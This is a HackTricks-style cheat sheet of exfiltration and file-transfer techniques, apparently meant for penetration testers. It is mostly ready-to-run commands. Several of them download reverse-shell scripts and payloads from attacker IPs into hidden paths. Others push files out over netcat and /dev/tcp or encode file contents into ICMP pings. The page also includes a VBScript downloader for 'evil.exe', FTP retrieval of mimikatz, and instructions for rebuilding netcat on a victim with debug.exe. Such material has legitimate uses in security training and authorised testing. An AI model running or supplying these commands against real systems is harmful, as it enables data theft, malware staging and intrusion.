hacktricks/generic-methodologies-and-resources/exfiltration.md

# Exfiltration

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## Commonly whitelisted domains to exfiltrate information

Check [https://lots-project.com/](https://lots-project.com/) to find commonly whitelisted domains taht can be abused

## Copy\&Paste Base64

**Linux**

```bash
base64 -w0 <file> #Encode file
base64 -d file #Decode file
```

**Windows**

```
certutil -encode payload.dll payload.b64
certutil -decode payload.b64 payload.dll
```

## HTTP

**Linux**

```bash
wget 10.10.14.14:8000/tcp_pty_backconnect.py -O /dev/shm/.rev.py
wget 10.10.14.14:8000/tcp_pty_backconnect.py -P /dev/shm
curl 10.10.14.14:8000/shell.py -o /dev/shm/shell.py
fetch 10.10.14.14:8000/shell.py #FreeBSD
```

**Windows**

```bash
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64
bitsadmin /transfer transfName /priority high http://example.com/examplefile.pdf C:\downloads\examplefile.pdf

#PS
(New-Object Net.WebClient).DownloadFile("http://10.10.14.2:80/taskkill.exe","C:\Windows\Temp\taskkill.exe")
Invoke-WebRequest "http://10.10.14.2:80/taskkill.exe" -OutFile "taskkill.exe"
wget "http://10.10.14.2/nc.bat.exe" -OutFile "C:\ProgramData\unifivideo\taskkill.exe"

Import-Module BitsTransfer
Start-BitsTransfer -Source $url -Destination $output
#OR
Start-BitsTransfer -Source $url -Destination $output -Asynchronous
```

### Upload files

* [**SimpleHttpServerWithFileUploads**](https://gist.github.com/UniIsland/3346170)
* [**SimpleHttpServer printing GET and POSTs (also headers)**](https://gist.github.com/carlospolop/209ad4ed0e06dd3ad099e2fd0ed73149)
* Python module [uploadserver](https://pypi.org/project/uploadserver/):

```bash
# Listen to files
python3 -m pip install --user uploadserver
python3 -m uploadserver
# With basic auth: 
# python3 -m uploadserver --basic-auth hello:world

# Send a file
curl -X POST http://HOST/upload -H -F 'files=@file.txt' 
# With basic auth:
# curl -X POST http://HOST/upload -H -F 'files=@file.txt' -u hello:world
```

### **HTTPS Server**

```python
# from https://gist.github.com/dergachev/7028596
# taken from http://www.piware.de/2011/01/creating-an-https-server-in-python/
# generate server.xml with the following command:
#    openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
# run as follows:
#    python simple-https-server.py
# then in your browser, visit:
#    https://localhost:443

### PYTHON 2
import BaseHTTPServer, SimpleHTTPServer
import ssl

httpd = BaseHTTPServer.HTTPServer(('0.0.0.0', 443), SimpleHTTPServer.SimpleHTTPRequestHandler)
httpd.socket = ssl.wrap_socket (httpd.socket, certfile='./server.pem', server_side=True)
httpd.serve_forever()
###

### PYTHON3
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl

httpd = HTTPServer(('0.0.0.0', 443), BaseHTTPRequestHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="./server.pem", server_side=True)
httpd.serve_forever()
###

### USING FLASK
from flask import Flask, redirect, request
from urllib.parse import quote
app = Flask(__name__)    
@app.route('/')    
def root():    
    print(request.get_json())
    return "OK"
if __name__ == "__main__":    
    app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
###
```

## FTP

### FTP server (python)

```bash
pip3 install pyftpdlib
python3 -m pyftpdlib -p 21
```

### FTP server (NodeJS)

```
sudo npm install -g ftp-srv --save
ftp-srv ftp://0.0.0.0:9876 --root /tmp
```

### FTP server (pure-ftp)

```bash
apt-get update && apt-get install pure-ftp
```

```bash
#Run the following script to configure the FTP server
#!/bin/bash
groupadd ftpgroup
useradd -g ftpgroup -d /dev/null -s /etc ftpuser
pure-pwd useradd fusr -u ftpuser -d /ftphome
pure-pw mkdb
cd /etc/pure-ftpd/auth/
ln -s ../conf/PureDB 60pdb
mkdir -p /ftphome
chown -R ftpuser:ftpgroup /ftphome/
/etc/init.d/pure-ftpd restart
```

### **Windows** client

```bash
#Work well with python. With pure-ftp use fusr:ftp
echo open 10.11.0.41 21 > ftp.txt
echo USER anonymous >> ftp.txt
echo anonymous >> ftp.txt
echo bin >> ftp.txt
echo GET mimikatz.exe >> ftp.txt
echo bye >> ftp.txt
ftp -n -v -s:ftp.txt
```

<img src="../.gitbook/assets/image (620) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (21).png" alt="" data-size="original">\
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## SMB

Kali as server

```bash
kali_op1> impacket-smbserver -smb2support kali `pwd` # Share current directory
kali_op2> smbserver.py -smb2support name /path/folder # Share a folder
#For new Win10 versions
impacket-smbserver -smb2support -user test -password test test `pwd`
```

Or create a smb share **using samba**:

```bash
apt-get install samba
mkdir /tmp/smb
chmod 777 /tmp/smb
#Add to the end of /etc/samba/smb.conf this:
[public]
    comment = Samba on Ubuntu
    path = /tmp/smb
    read only = no
    browsable = yes
    guest ok = Yes
#Start samba
service smbd restart
```

Windows

```bash
CMD-Wind> \\10.10.14.14\path\to\exe
CMD-Wind> net use z: \\10.10.14.14\test /user:test test #For SMB using credentials

WindPS-1> New-PSDrive -Name "new_disk" -PSProvider "FileSystem" -Root "\\10.10.14.9\kali"
WindPS-2> cd new_disk:
```

## SCP

The attacker has to have SSHd running.

```bash
scp <username>@<Attacker_IP>:<directory>/<filename> 
```

## SSHFS

If the victim has SSH, the attacker can mount a directory from the victim to the attacker.

```bash
sudo apt-get install sshfs
sudo mkdir /mnt/sshfs
sudo sshfs -o allow_other,default_permissions <Target username>@<Target IP address>:<Full path to folder>/ /mnt/sshfs/
```

## NC

```bash
nc -lvnp 4444 > new_file
nc -vn <IP> 4444 < exfil_file
```

## /dev/tcp

### Download file from victim

```bash
nc -lvnp 80 > file #Inside attacker
cat /path/file > /dev/tcp/10.10.10.10/80 #Inside victim
```

### Upload file to victim

```bash
nc -w5 -lvnp 80 < file_to_send.txt # Inside attacker
# Inside victim
exec 6< /dev/tcp/10.10.10.10/4444
cat <&6 > file.txt
```

thanks to **@BinaryShadow\_**

## **ICMP**

```bash
# To exfiltrate the content of a file via pings you can do:
xxd -p -c 4 /path/file/exfil | while read line; do ping -c 1 -p $line <IP attacker>; done
#This will 4bytes per ping packet (you could probably increase this until 16)
```

```python
from scapy.all import *
#This is ippsec receiver created in the HTB machine Mischief
def process_packet(pkt):
    if pkt.haslayer(ICMP):
        if pkt[ICMP].type == 0:
            data = pkt[ICMP].load[-4:] #Read the 4bytes interesting
            print(f"{data.decode('utf-8')}", flush=True, end="")

sniff(iface="tun0", prn=process_packet)
```

## **SMTP**

If you can send data to an SMTP server, you can create an SMTP to receive the data with python:

```bash
sudo python -m smtpd -n -c DebuggingServer :25
```

## TFTP

By default in XP and 2003 (in others it needs to be explicitly added during installation)

In Kali, **start TFTP server**:

```bash
#I didn't get this options working and I prefer the python option
mkdir /tftp
atftpd --daemon --port 69 /tftp
cp /path/tp/nc.exe /tftp
```

**TFTP server in python:**

```bash
pip install ptftpd
ptftpd -p 69 tap0 . # ptftp -p <PORT> <IFACE> <FOLDER>
```

In **victim**, connect to the Kali server:

```bash
tftp -i <KALI-IP> get nc.exe
```

## PHP

Download a file with a PHP oneliner:

```bash
echo "<?php file_put_contents('nameOfFile', fopen('http://192.168.1.102/file', 'r')); ?>" > down2.php
```

## VBScript

```bash
Attacker> python -m SimpleHTTPServer 80
```

**Victim**

```bash
echo strUrl = WScript.Arguments.Item(0) > wget.vbs
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> wget.vbs
echo Err.Clear >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs
echo If http Is Nothing Then Set http =CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs
echo http.Open "GET", strURL, False >> wget.vbs
echo http.Send >> wget.vbs
echo varByteArray = http.ResponseBody >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
echo Set ts = fs.CreateTextFile(StrFile, True) >> wget.vbs
echo strData = "" >> wget.vbs
echo strBuffer = "" >> wget.vbs
echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) >> wget.vbs
echo Next >> wget.vbs
echo ts.Close >> wget.vbs
```

```bash
cscript wget.vbs http://10.11.0.5/evil.exe evil.exe
```

## Debug.exe

This is a crazy technique that works on Windows 32 bit machines. The idea is to use the `debug.exe` program. It is used to inspect binaries, like a debugger. But it can also rebuild them from hex. So the idea is that we take binaries, like `netcat`. And then disassemble it into hex, paste it into a file on the compromised machine, and then assemble it with `debug.exe`.

`Debug.exe` can only assemble 64 kb. So we need to use files smaller than that. We can use upx to compress it even more. So let's do that:

```
upx -9 nc.exe
```

Now it only weighs 29 kb. Perfect. So now let's disassemble it:

```
wine exe2bat.exe nc.exe nc.txt
```

Now we just copy-paste the text into our windows-shell. And it will automatically create a file called nc.exe

## DNS

* [https://github.com/62726164/dns-exfil](https://github.com/62726164/dns-exfil)

<img src="../.gitbook/assets/image (620) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (21).png" alt="" data-size="original">\
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